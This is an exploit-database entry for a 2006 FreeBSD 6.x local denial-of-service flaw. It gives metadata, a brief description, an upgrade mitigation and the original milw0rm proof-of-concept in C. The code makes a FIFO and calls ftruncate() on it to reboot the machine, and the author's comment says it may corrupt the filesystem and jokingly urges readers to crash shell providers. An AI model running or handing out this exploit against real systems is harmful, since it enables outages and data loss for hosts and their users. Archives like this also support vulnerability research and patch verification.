header-logo
Suggest Exploit
vendor:
FreeBSD
by:
maxim, kokanin
7,2
CVSS
HIGH
Denial of Service
20
CWE
Product Name: FreeBSD
Affected Version From: FreeBSD 6.0-RELEASE-p5
Affected Version To: FreeBSD 6.1-RELEASE-p10
Patch Exists: YES
Related CWE: N/A
CPE: o:freebsd:freebsd
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: FreeBSD
2006

FreeBSD ftruncate() Local Denial of Service Vulnerability

A local denial of service vulnerability exists in FreeBSD due to an incorrect handling of ftruncate() requests for non-VREG, VDIR and shared memory objects. An attacker can exploit this vulnerability by creating a FIFO file and then calling ftruncate() on it with a large size argument, resulting in a system crash.

Mitigation:

Upgrade to the latest version of FreeBSD
Source

Exploit-DB raw data:

/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
   Log: According to POSIX, the result of ftruncate(2) is unspecified
   for file types other than VREG, VDIR and shared memory objects.
   We already handle VREG, VLNK and VDIR cases.  Silently ignore
   truncate requests for all the rest. PR kern/98064

   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
   tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
   - it just makes the system reboot, and with a bit of luck fucks up the filesystem.
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
   
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}

// milw0rm.com [2006-10-13]